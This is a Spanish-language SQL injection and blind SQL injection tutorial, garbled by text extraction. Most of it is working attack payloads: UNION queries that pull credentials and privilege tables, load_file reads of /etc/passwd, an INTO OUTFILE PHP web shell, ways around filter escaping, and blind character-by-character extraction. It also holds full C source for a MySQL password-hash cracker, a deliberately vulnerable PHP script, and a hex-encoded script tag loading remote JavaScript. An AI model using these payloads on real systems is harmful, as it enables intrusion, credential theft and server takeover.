You are on page 1of 20

+--------------------------------------------------------+

| |
| SQL injection && Blind Sql Injection |
| |
| Escrito por l0ve |
| |
+--------------------------------------------------------+

¿Qué es sql injection?

"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en
las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código
"invasor" en la base de datos."

Fuente: http://es.wikipedia.org/wiki/Inyección_SQL

¿Qué vamos a ver?

Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web
con bases de datos MySQL version 4.x o 5.x ..

aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya
que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc
..

Antes de empezar vamos a repasar algunas cosas básicas:

? enlaza la URL con los parámetros.
& delimita donde termina un parámetro y donde comienza el otro.
= asigna el valor.

Recuerda bien .

Empecemos ...

Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"

¿Cómo reconocer una vulnerabilidad sql?

Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ` (``%27``) al
final de la URL:

http://localhost/print.php?id=332`

también con:

- paréntesis ")"
- "comentarios" como ``/*`` , ``--`` o "#"
- palabras del lenguaje sql como "select,order by" etc ..

Ejemplos:

http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 `--
http://localhost/print.php?id=12 `) --
http://localhost/print.php?id=12 `)) --

veamos:

el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el
otro no .. por ejemplo:

Con /*:

Con --:

además de los ejemplos anteriores se pueden usar "operadores lógicos" ..

ejemplo:

http://localhost/print.php?id=1 and 1=1

Y luego:

http://localhost/print.php?id=1 and 1=2

vemos que al hacer la primera inyección la pagina se imprime normalmente ... pero al inyectar
lo
segundo vemos que se devuelve modificada (a veces vacía o falta algún contenido, se notara la
diferencia).
Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL
syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a
sql injection.

no muestra un error http://localhost/print.7.php?id=-1+union+all+select 1.php?id=-1 order by 1/* <---.4. .php?id=-1 order by 2/* <---..php?id=-1 order by 15/* <-------.no muestra un error http://localhost/print..2/* union all select 1.2.. usamos el `order by` e iremos incrementando o viceversa según los resultados veamos.14.6..no muestra un error .2.5. http://localhost/print.12.) http://localhost/print.16/* Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero sabremos que la unión funciona . ¿Cómo hacemos eso? ¡Fácil!.No solo se puede usar "AND" existen otros operadores lógicos: 1 && 1 //Representa el AND 1 || 1 //Representa el OR 1 XOR 0 //Retorna null si alguno de ellos es null ! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.. Explorando la base de datos Vamos a averiguar el numero de columnas ..15. Pero hay veces que esto no es posible y tendremos que usar UNIÓN (Sentencia UNIÓN: Se usa para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados. no muestra un error http://localhost/print. y así sucesivamente hasta encontrar la cantidad de columnas.3/* .13.php?id=-1 order by 16/* <-------. error Cuando hay un error nos mostrara algo así: "Unknown column `17` in `order clause" Como podemos ver hay 16 columnas.9.10.php?id=-1 order by 17/* <-------. también podemos hacer: union all select 1/* union all select 1.8.php?id=-1 order by 14/* <-------. no muestra un error http://localhost/print.11. http://localhost/print.3.

4.php?id=-1+union+all+select 1. Versión: http://localhost/print.13.? ok . Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla). http://localhost/print.5.6. Cada conexión tiene su propio y único ID.13.16/* con hex() y unhex(): . last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT. Es importante saber la versión de MySQL ya que podría facilitarnos la inyección .15.9.10. @@datadir directorio de la db.15.3.1.11. implícita etc . un problema frecuente .14.@@version.convert(@@version using latin1).6.7.4.14.12. para evitarlo se hace de la siguiente forma: con la función convert(). version() Devuelve la versión del servidor MySQL.10.12.. pueden usar cualquier numero. http://localhost/print. connection_id() Devuelve el ID de una conexión.8.7. current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la conexión actual.8.php?id=- 1+union+all+select 1.5.14.9. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de acceso..15.12.2.6.13.11.4.7.5.Saber la versión de mysql y entre otros datos útiles Bueno ahora analicemos la inyección de más arriba .9.16/* Como pueden ver no explique el -1 .php?id=-1+union+all+select 1.10.3.11..20-log" Los @@ son variables del sistema.. Puede ser diferente del valor de USER().por ejemplo podríamos hacer algo como @@servename.. no quiere decir que siempre hay que ponerlo . ¿Por qué me dice que es ilegal. database() Devuelve el nombre de la base de datos actual.3...16/ * (se pude usar @@version o version()) Ejemplo: (se pude usar @@version o version()) Tendrás algo como "4.8.

3.12.php?id=- 1+union+all+select+1.12.privilege_type.16/* http://localhost/print.9.16+from+information_schema. sigamos.7.16+from+information_schema.UNCOMPRESS(COMPRESS(user)).5. si algún dato no existe en la base de datos "concat" produce un error .5.11.9.is_grantable).11.0x3a.1).5+from+mysql.unhEx(hex(@@versión)).14.6..5+from+mysql.4.7.4.15.8.2.5.user_privileges/* Vemos que 0x3a es un valor en hex y representa ":" Entonces obtendremos algo así: .3.10. pero todo sale muy junto? .1).is_grantable)3.15.16/* aes_encrypt & aes_decrypt http://localhost/print.13.unhex(hex(@@versión)).nombre de columna y otros datos Vamos a ver como hacer al tener una versión 5 de MySQL: Para tener una lista de los privilegios podemos hacer: http://localhost/print.4.5.4.php?id=- 1+UNION+SELECT+1.14.user-- Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .14 .aes_decrypt(aes_encrypt(user.concat(grantee.php?id=- 1+UNION+SELECT+1.6.7.unhex(hex(@@version)).8. y si no hay contenido larga NULL. Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones.8. http://localhost/print.1 1.privilege_type.15..3.4.9.12.15. UNCOMPRESS http://localhost/print.11.5.7.16 /* Obteniendo tabla.php?id=-1+union+all+select 1.user-- COMPRESS .14.13. Con esto nos ahorraríamos de hacer inyecciones .php?id=- 1/**/union/**/all/**/select/**/1.13.0x3a.10..13.11.¿Cómo podemos evitar esto? Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii).3.php?id=- 1/**/uNion/**/aLl/**/sElEcT/**/1.2.9.7.14. pero hay varias forma de "saltarlos" por ejemplo: http://localhost/print.8.3.12.php?id=- 1+union+all+select+1.9.concat(grantee.12.15.http://localhost/print..6.10.6.3.user_privileges/* hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql).10.10.8.13.6.

user_privileges/* Ejemplo: y . $enc = encode($str). print "Hex Encoded value: 0x$enc\n".php?id=- 1+union+all+select+1. @ASCII = unpack("C*". foreach $line (@ASCII) { $encoded = sprintf(`%lx`.``primerdato:segundodato`` y no ``primerdatosegundodato`` Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos: ``primerdato=segundodato`` Y en ascii: http://localhost/print.. $sqlstr).15.12. Nota: Para saber los valores ascii: http://www.cl/es/ o Sencillo script en perl para pasar una cadena de caracteres a HEX: Código: print "Enter string to encode:".13.14.10. $str=<STDIN>. my $sqlstr =$subvar[0]. Como podemos ver en la segunda imagen aparece unos : (dos puntos) o con char(): como podemos ver lo separamos con ^.7. sub encode{ #Sub to encode @subvar=@_.char(58).4. } return $encoded_command.is_grantable)3.char(58).11.16+from+information_schema.6.concat(grantee.$line).5. $encoded_command . } Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto: .privilege_type.8 .chomp $str.ascii. 9.= $encoded.

0x3a.0x3a.Delete_priv.php?id=- 1+union+all+select+1.12.10.3.schemata-- http://localhost/print.14.P rocess_priv.user. 0x3a.distinct(db).Repl_slave_priv.10.12.15.File_priv. Bueno seguimos .0x3a.Repl_client_priv).9.7.5.0x3a.0x3a.table_schema.6.column_name.15.8.Super_priv.0x3a.8.6.Lock_tables_priv.php?id=- 1+union+all+select+1.0x3a.0x3a.13.13.16+FROM+mysql.Insert_priv.14.4.column_privileges-- una lista sobre las base de datos: http://localhost/print.7.6.6.privilege_type).Alter_pr iv.16+FROM+information_schema.5..0x3a.table_name.concat(grantee.o aprovechar los numeros que devuelve la página para poner en ellos algo diferente por ejemplo: como ven muestra la base de datos.7.privileg e_type).Shutdown_priv.0x3a.0x3a.16+FROM+information_s chema.12.Grant_priv.9. 11.Select_priv.12.16+fro m+m ysql.0x3a.0x3a.13.Show_db_priv.7.0x3a.12.11.7.Update_pr i v. en este caso blog es la base .0x3a.Reload_priv.0x3a.php?id=- 1+union+all+select+1.10 .php? id=- .5.4.3.14.9.15.3.0x3a.11.16+FROM+information_schema.0x3a.5.user-- http://localhost/print.14.4.13.Create_priv.8.10.0x3a.9.0x3 a.References_priv.4.11.15.la tabla y la columna.10.6.0x3a.0x3a.schema_name.4.5.0x3a. blog_lb_authors es la tabla y id es la columna.8.db-- una lista de columnas: http://localhost/print.0x3a.8.0x3a.0x3a.concat(table_schema.14.15.Drop_priv.9.13.schema_privileges-- http://localhost/print.E xe cute_priv.Create_tmp_table_priv.php?id=- 1+union+all+select+1. otras formas para obtener una lista de privilegios: http://localhost/print.concat(host.3..Index_priv.3.11.php? id=- 1+union+all+select+1.

8. 1 6-- El /etc/passwd esta en hex..user-- Ejemplo: nos imprimio el host.5.16+FROM+information_schema.6.4.concat(table_schema.php?id=- 1+union+all+select+1.0x3a. Ejemplo: o obtener un user y pass de la db para poder acceder remotamente a ella: http://localhost/print.12.0x3a.password).12.15.concat(host.0x3a.10.4.3. ahora lo que nos queda es crackear el hash (pueden usar john the ripper etc .8.11. 10. 10.table_name.13.5.12.7.13.3.el usuario y por supuesto el password .13.9.15.14.14.1+union+all+select+1.user.load_file(0x2f6574632f706173737764).14.5.6.7.15..16+FROM+mysql.8.php?id=- 1+union+all+select+1.11.11.4.column_name).7.9. 9.) y controlar si esta abierto el puerto 3306.columns-- También se puede leer algún archivo local como "/etc/passwd": http://localhost/print.3.6. Ejemplo: y podernos conectar remotamente: buscando cosas interesantes: .0x3a.

9..15.6.tables obtendremos todas todas las tablas impresas de una sola vez .1-- Ejemplo: .11.php?id=-1 union all select 1.column_name.5..15.9.12.tables where table_schema = database() Pasando valor a ascii y buscando . en este caso largo auth .3.5.columns where table_name = char(97.11.13. pero otras veces no .6 from information_schema.7..5.6.3.14.. http://localhost/print.117. en cambio en esta no: Asi que para ver la siguiente tabla usaremos limit al final de la url ejemplo: -1 union all select 1.37) En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.104) and column_name like char() Pasar en ascii "%a%" quedando: http://localhost/print.10.104) and column_name like char(37. Y ahí te larga palabras y luego obtener datos Sacando demàs tablas.12.tables limit 1.4.116.12.4.14.13.10.9.13.15.7.8.8.97. http://localhost/print?id=-1 union all select 1.3. de la base: Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi: -1 union all select table_name from information_schema.8.2.14.4.16 from information_schema.. Una forma para intentar buscar nombres de columnas: Buscando algún nombre de tabla .php?id=-1 union all select 1.column_name.columns where table_name = char(97.16 from information_schema.4.16 from information_schema.columnas etc .116.5..11.7.3. por ejemplo: Como podemos ver tira todas las tablas .117.10.Nota: se puede usar cualquier cliente mysql en este caso uso la c99..table_name.6.

4.16. . es que cuando usen Group_concat().1-- como podemos ver .column_name).tables limit 2. con Group_concat().columns+WHERE+table_schema!=0x6d 7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100.0x3a.4.8.2..1-- -1 union all select 1. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) .13.3. (Instalen mysql y exploren lo que hay dentro de ellas) pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .14.tables limit 3. -1 union all select 1.table_name....15..17+from+information_schema.2.5.6 from information_schema.concat(table_schema. -1 union all select 1.5.0x3a.tables limit 15.6 from information_schema.4.2.5...1-- etc . aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo: y para evitar el tema de que aparezca todo junto podriamos hacer algo asi: como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea <br>. y la otra.12.11. 9.6. realizen un cast() al objeto y lo hagan una variable CHAR.2. una muy simple. el límite es de unos 250 caracteres.como podemos ver saco la siguiente tabla . entendido? Ok.1-- ..6 from information_schema. solo nos quedaria incrementar limit .3. masomenos  El 1er Semitip` que tengo.7..4. por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres.3.5.10. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas. TUTORIAL DE PonyMagic  Como muchos saben.. por que saca datos de toda la base de datos al menos que evitemos lo que no queremos ver ejemplo .. podemos hacer algo asi: 1+union+all+select+1. en mysql existen 2 base de datos una se llama information_schema y la otra mysql . esto del limit lleva mucho tiempo .

También.4--  Lo que nos devolvería los 1ros 1024chars del concateo.0x3c62723e)  hasta ahí vamos a poder llegar con group_concat. sino.0x2c.3.0x2c. pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo supongamos que tenemos esta inject: Código: id=1 and 1=2 union select 1.3." por "<br>" luego con replace(). les recomiendo replazar ".3. Sino. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres.4--  lo 1ro que vamos a hacer. Table_Name ) = 0 ).tables).tables ). es un select pidiendo las tablas a information_schema.0x3c62723e) from information_schema... algo asi como .( Select Replace(Group_concat(Cast(Table_Name AS CHAR)).. .tables Where INSTR( (Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema..0x2c. tendríamos que haber realizado 205 consultas modificando el limit de 1 en 1. estamos gastando esos valiosos 1024chars.4--  Con esto ya tenemos 3072 chars. Código: id=1 and 1=2 union select 1. Para eso vamos a usar la funcion INSTR() Código: id=1 and 1=2 union select 1.2. para los que setean el delimitador dentro del group.( Select Replace(Group_concat(Cast(Table_Name AS CHAR)).0x3c62723e) from information_schema. 205 resultados ( si fueran de al rededor de 15chars c/u ) en solo 3 consultas. esto es lo máximo que sacaremos de un solo select con group_concat: Código: Replace(Group_concat(Cast(Table_Name AS CHAR)).

16 from adm-.9.5.13.4.9.php?id=-1 union all select 1.4.2.14.8.15.9.14.16 from administrador-.php?id=-1 union all select 1.pwd.5.9.11.14. solo es cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como: UNION SELECT "<? system($_REQUEST[`cmd`]).5.2.> válido y de la misma forma para columnas: http://localhost/print.12.8.> error http://localhost/print.3.6. por ahora solo eso.10. ?>".7.10.11.3.php?id=-1 union all select 1.3.> error http://localhost/print.4.10.php?id=-1 union all select 1.14.7.8.5.php?id=-1 union all select 1.2.15.pass.8.3.10.) Link blog PonyMagic: http://ponymagic.15.> error http://localhost/print.  Bueno.13.13.php" -- por ejemplo: (Una vez echa la inyeccion) y usando la shell: Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en .12.14.16 from administrador-.8. etc .4.3.10.3.5.6.> error http://localhost/print.> válido ¿Para qué podría servir todo esto? Desde leer archivos de configuraciones.16 from administrador-.4.16 from admin-.11.6.11.11..15.password.13.15.2.15. archivos en si.php?id=-1 union all select 1.8.12.12.7.14.4 INTO OUTFILE "/var/www/html/mishell.7.7.6.5.6.4.9.3.13.12. porximamente talvez haga algo en JS que edite el link y eso para tener una inject modelo con un botoncito siguiente =P FIN TUTO (Gracias por esta info.7.9. por ejemplo: http://localhost/print.13.10.12.6.16 from administrador-. de verdad muy valiosa.11.SPAM(137) En versiones MySQL 4 o sin permiso para information_schema la unica forma de obtener tablas y columnas es adivinándolas ..

php o cualquiera. Consulta Normal: insert into login set user = ‘root’. podríamos saltar algunos de los filtros que posee PHP veamos: ------------------------------------------------------- (MySQL 4...php/Full_Path_Disclosure Para hacer esto y algunas inyecciones más.php/Double_Encoding) hex encoding para saltar filtros como las magic_quotes leer sobre "SQL Smuggling". Como el "double encoding" bastante interesante y leer (http://www. si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo: apache:x:48:48:Apache:/var/www:/sbin/nologin en el httpd. También como he leído por ahí .owasp.php.necesitamos saltarnos las magic_quotes que son las que no nos dejan hacer nuestras inyecciones con eficiencia para eso existen algunas formas .1.20 y 5.x) bypass a addslashes() con codificaciòn GBK WHERE x = 0xbf27admin 0xbf27 ------------------------------------------------------- bypass mysql_real_escape_string() con BIG5 o GBK se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion pero es posible saltarse el mysql_real_escape() de esta forma.org/index.0.1.owasp.noticias. aparte de ser caracteres chinos es BIG5 ------------------------------------------------------- Vectores avanzados: Usando HEX para bypassear una consulta: Consulta normal: SELECT * FROM login WHERE user = `root` Bypass: SELECT * FROM login WHERE user = 0x726F6F74 Insertando nuevo usuario en SQL. como index.conf (la ruta varia) viendo el code de alguna web del servidor .org/index. o usar alguna tecnica como Full Path Disclosure: http://www.conf: /etc/httpd/conf/httpd.alguna parte del servidor.. pass = ‘root’ .x o posterior: 4.

1.php?id=-1 and 1 = 2 <--. http://localhost/print. un texto o etc sabemos que es vulnerable a bsql. obtendremos algo como: 726F6F74 y luego le agregamos: 0x quedaría: 0×726F6F74 Tambien hace poco me encontre un articulo interesante del amigo xianur0 : http://xianur0.si nos larga la pagina . check the manual that corresponds to your MySQL server version for the right syntax to use near ``` at line 1 sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades . Nota: Recordarlo siempre.Bypass: insert into login set user = 0×726F6F74. Ahora blind sql injection es un poco más liado . pero aquí va: Sabiendo si es vulnerable a Bsql Tenemos que saber esto: http://localhost/print.html seria bueno que lo lean..borrar etc .. Para ver si las magic_quotes estan activadas simplemente agreguen una ` (comilla siemple) si aparece algo asi: You have an error in your SQL syntax.php?id=-1 and 1 = 2 no regreso algo de la pagina.esto siempre sera falso. pass = 0×726F6F74 -------------------------------------------------------- Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo algo como: SELECT HEX(`root`).esto siempre sera verdadero.php?id=-1 and substring(@@versión. Sabiendo la versión de mysql: http://localhost/print. pero si aparece algo asi: You have an error in your SQL syntax.. Si luego de probar http://localhost/print. y inyecciones no tan complejas ademàs de poder actualizar datos.. check the manual that corresponds to your MySQL server version for the right syntax to use near `\`` at line 1 es que no es posible por que aparece una barra invertida provocando un error en la base de datos .php?id=-1 and 1 = 1 <--.blogspot.1)=4 <--.com/2008/10/rootear-servidor-mediante-sql-injection.

php?id=-1 and (select 1 from mysql.0x3a.1)=1 Si nos larga verdadero tendremos acceso a mysql.0x3a.0x3a. http://localhost/print.php?id=-1 and substring(@@versión.php?id=-1 and ascii(substring((SELECT concat(usuario.password). http://localhost/print.user limit 0.1) from members limit 0. http://localhost/print.1. http://localhost/print.1)=1 Nota: con LIMIT 0.1))>95 Da falso así que incrementamos.0x3a..user y podremos obtener ficheros del servidor como /etc/password y etc .1))>80 El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero.password) .1.1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es importante.password) from members limit 0.password) from members limit 0. Buscando nombre de tabla y columna Puede ser difícil y con ganas de cagarte en muchas cosas xD.1)=1 Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */ Extrayendo datos Supongamos que ya tenemos nombre de la columna y la tabla: http://localhost/print.php?id=-1 and (select substring(concat(1.php?id=-1 and ascii(substring((SELECT concat(usuario. usando load_file() y outfile..si nos larga la pagina normal (si es verdadero) sera versión 5.1).1.1.php?id=-1 and (select 1 from members limit 0. Podemos usar select pero si tenemos problemas podremos usar subselect.php?id=-1 and ascii(substring((SELECT concat(usuario. Ahora la columna: http://localhost/print.1)=5 <--.1))>95 http://localhost/print. RECODARLO Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así tendremos que seguir adivinando.password) from members limit 0.1).1.normal (si es verdadero) sera versión 4.1).php?id=-1 and ascii(substring((SELECT concat(usuario. Adivinando la tabla: Hacemos esto: http://localhost/print.

1))>107 Nos da falso y buscamos un numero menor.1).1))>99 Nos da falso e incrementamos: http://localhost/print.1))>104 Falso.0x3a. http://localhost/print. incrementamos .0x3a.1.php?id=-1 and ascii(substring((SELECT concat(usuario.1))>99 Verdadero! Por lo que el primer carácter en el nombre de usuario es char(99). Hay herramientas que hacen que esto no sea muy pesado: http://www.password) from members limit 0.php?id=5 and ascii(substring((SELECT concat(usuario. Y convirtiéndolo a ascii sabemos que char (99) es la letra c.php?id=-1 and ascii(substring((SELECT concat(usuario..php?id=-1 and ascii(substring((SELECT concat(usuario.1 para obtener el segundo carácter.1).1).password) from members limit 0. Entonces vamos a comprobar el segundo carácter: http://localhost/print.0x3a.2.2. http://localhost/print.0x3a. cuando > 0 devuelve falso.password) from members limit 0.2.2. a 1.1).password) from members limit 0. http://localhost/print.net < HERMOSA HERRAMIENTA :$ .0x3a.sourceforge.1. ahora vuelve el segundo carácter. sabemos que llegamos al final.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301 http://sqlmap.0x3a. http://localhost/print.from members limit 0.1))>98 Nos da falso.1). 1 carácter de longitud.1))>99 Fíjense que estoy cambiado.seguridadinformatica.php?id=-1 and ascii(substring((SELECT concat(usuario. 2.password) from members limit 0.php?id=-1 and ascii(substring((SELECT concat(usuario.1.1).1))>105 Verdadero! Sabemos que el segundo carácter es char(105) y que es ``i`` vamos ``ci`` y seguimos incrementando.password) from members limit 0.1).2.

33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL . * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.h> typedef unsigned long u32..milw0rm. /* Allowable characters in password. Saludos! --------------------------------- tools: el soft que use para descifrar el pass: mysqlfast.(http://www.justinshattuck.causing more arithmetic overflows */ #include <stdio. no me responsabilizo de mal uso de esta información espero que les sirva!! TODA LA LECTURA ES OBLIGATORIA publiquen sus tips.c Código: /* This program is public domain.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * . Share and enjoy.com/papers/download/216) MySQL cheat sheet: http://www.errores o duda en esta publicación .Les recomiendo leer el tutorial que hizo ka0x que contiene un script donde podemos aplicar los conocimientos de aquí y el que he usado a lo largo del tutorial .net/blog/mysql-sql-injection-cheat-sheet/ (Màs que interesante) La intencion de este tutorial es solo enseñar y evitar este tipo de vulnerabilidades .com/2007/01/18/mysql-injection- cheat-sheet/ MySQL cheat sheet: http://pentestmonkey.making two passes over the password * .using a bitwise rotate instead of a left shift * .

} if (i < 0) break.(newstate3 << 8)) & MASK. newstate2. state1. xor1 += step) { newstate2 = state2 + (xor1 ^ xor2). } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR. sum. sum += MIN_CHAR. xor2 = (state2 << 8) ^ state1. if (e < MIN_CHAR || e > MAX_CHAR) continue. e. div. c <= MAX_CHAR. d = diff / div. state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]. int *pass_ary) { int i. pass_ary[i] = MIN_CHAR. state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]). e = diff / div. xor2. state2_ary[MAX_LEN-2]. step_ary[i] = (state1_ary[i] & 0x3f) + sum. while (1) { while (i < stop) { i++.int crack0(int stop. newstate1 = state1 ^ xor1. u32 targ1. for (c = MIN_CHAR. sum = 7. sum++. state2 = state2_ary[i+1]. u32 xor_ary[MAX_LEN-3]. state2_ary[0] = 0x12345671L. pass_ary[i]++. pass_ary[i+1] = c. } state1 = state1_ary[i+1]. c. step_ary[MAX_LEN-3]. xor_ary[i] += step_ary[i]. u32 targ2. state2. diff = ((targ1 ^ newstate3) . div = (newstate1 & 0x3f) + sum + c. i = -1. c++. u32 newstate1. u32 state1_ary[MAX_LEN-2]. if (diff % div != 0) continue. return 1. div = (newstate3 & 0x3f) + sum + c + d. . diff. diff = ((newstate3 ^ newstate1) . pass_ary[i+3] = e. step. state1_ary[0] = 1345345333L. pass_ary[i+2] = d. state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]. if (d < MIN_CHAR || d > MAX_CHAR) continue. newstate3 = (targ2 . xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8).newstate2) ^ (newstate2 << 8). i--. step = (state1 & 0x3f) + sum.(newstate1 << 8)) & MASK. xor1 = step*MIN_CHAR + (state1 << 8). newstate3. xor1. u32 d. if (diff % div != 0) continue.

((targ3 << 8) ^ targ1). if ( sscanf(hash. char *argv[]) { int i. } printf("Hash: %08lx%08lx\n". } } if (len > MAX_LEN) printf("Pass not found\n"). len. } void crack(char *hash) { int i. . targ3 = targ2 . pass) ) { printf("Found pass: "). i++) putchar(pass[i]). } return 0. break. users INSERT INTO `users` VALUES (1. i++) crack(argv[i]). &targ2) != 2 ) { printf("Invalid password hash: %s\n".targ1. return. len++) { printf("Trying length %d\n". for (i = 0.((targ3 << 8) ^ targ1). targ3 = targ2 . } ---------------------------------------------------- script vulnerable Code sql!: Código: CREATE TABLE `users` ( `id` int(10) unsigned NOT NULL auto_increment. `name` varchar(50) NOT NULL. i < argc. hash). u32 targ1. i < len. targ3 = targ2 . targ1. } int main(int argc. targ2. return 0. "%8lx%lx". putchar(`\n`). targ1. targ2). targ3. len). for (len = 3. PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 . `administrator`. &targ1. if (argc <= 1) printf("usage: %s hash\n". targ3. `password` varchar(50) NOT NULL. targ3 = targ2 . for (i = 1. int pass[MAX_LEN].((targ3 << 8) ^ targ1). if ( crack0(len-4. argv[0]). len <= MAX_LEN. state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]). `1234%&_`).

$dbpass = `password`.O. if(@mysql_num_rows($query)==0){ die(`No hay columnas`)."<br>".$result[1]."<br>".O. mysql_select_db($dbname."<br>".M LABS 2008</title>". $query = mysql_query($sql). INSERT INTO `users` VALUES (3. ?> Explorador de base de datos (General Injection Explorer 3. echo "<font color=`#FF0000`>user_id: </font>".$_GET[`id`]. $dbuser = `root`. `bush`. } $result=@mysql_fetch_row($query).$result[0]. `t3st_bl1nd`).INSERT INTO `users` VALUES (2.0) atravez de sqli by PonyMagic uso: PonyMagic Código: (0x3c736372697074207372633d22687474703a2f2f7669727475782e636f6d2e61722f4749452f5f 2e6a732220747970653d22746578742f6a617661736372697074223e3c2f7363726970743e) . echo "<h2><center><u>Blind SQL Injection Test<br>D. $sql = "SELECT * FROM users WHERE id=". echo "<font color=`#FF0000`>username: </font>". echo "</h2></center>".$db). script php: Código: <?php # CONFIG $host = `localhost`.$result[2]. die(). $dbname = `blind`. `terrorist`). // echo "Password: ". $dbpass). `ka0x`.M LABS</u><br>< br>". # echo "<title>Blind SQL Injection Test D. $dbuser. $db = mysql_connect($host.